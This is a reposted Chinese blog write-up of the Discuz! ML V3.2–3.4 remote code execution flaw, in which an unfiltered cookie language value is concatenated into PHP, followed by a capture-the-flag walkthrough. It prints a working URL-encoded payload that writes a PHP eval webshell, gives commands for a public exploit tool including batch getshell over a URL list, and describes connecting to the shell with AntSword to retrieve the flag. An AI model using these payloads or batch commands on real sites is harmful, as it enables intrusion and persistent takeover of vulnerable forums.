ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Discuz ML RCE漏洞

2021-02-09 12:03:35  阅读:331  来源: 互联网

标签:RCE ML py Discuz 漏洞 dz ml rce


1、漏洞描述

Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。

2、产生原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

3、影响版本:

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

4、利用exp,进行上传一句话木马

1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE

2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'

3.getshell 的payload:   ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).',url编码后的形式是

%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

所以我们可以考虑使用bur抓包改包,上传一句话木马,get shell

5、利用dz-ml-rce.py工具进行分析。本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。

6、如何下载dz-ml-rce.py工具

在python2.7的环境中安装,安装命令如下:

git clone https://github.com/theLSA/discuz-ml-rce.git
pip -r requirements.txt

7、如何使用dz-ml-rce.py工具

使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报。

使用帮助:python dz-ml-rce.py -h

判断模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" 

cmdshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

getshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

批量检测:python dz-ml-rce.py -f urls.txt

批量getshell:python dz-ml-rce.py -f urls.txt --getshell

8、实战分析:

当我们进入这个网址后,可以发现它的cms类型是Discuz! X3.2,这是一个比较老的版本,我们可以去乌云,0组查看相关思路文章,发现比较少

于是我们去百度中搜索这个Discuz! X3.2的漏洞可以get shell,所以这道题目考察的一定是cms的漏洞

而我们去网上查的话,有很多的漏洞,比如构建的请求报文,请求报文中含有恶意的PHP代码,任意删除文件,代码注入漏洞等多种漏洞

本网站我所利用的是构建的请求报文,请求报文中含有恶意的PHP代码这一漏洞,也就是Discuz ML RCE漏洞,后面又一篇文章专门写此漏洞

所以我们可以知道它存在cms漏洞:Discuz! X3.2 漏洞 中的 构建的请求报文(恶意的PHP代码,一句话木马)漏洞

所以这个题我们可以考虑使用bur抓包改包,上传一句话木马,get shell

我们对bur进行抓包:

抓包后我们可以发现在cookie字段中有xxxx_xxxx_language字段,所以我们对其进行改包

先看phpinfo文件,看是否存在相关漏洞(验证)

发现存在相关漏洞,所以我们直接上传一句话木马,构造的形式如下:

%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

我们直接在网页上查看shell.php文件,看是否可以正常显示

我们使用蚁剑进行连接

连接成功:

最终我们就可以发现flag的文件,也就是此题的答案

flag就在其中,打开之后就是答案,也就是flag,flag{49c883689da71363809d64b8b48679ba}

此题完成

标签:RCE,ML,py,Discuz,漏洞,dz,ml,rce
来源: https://www.cnblogs.com/w1hg/p/14392118.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有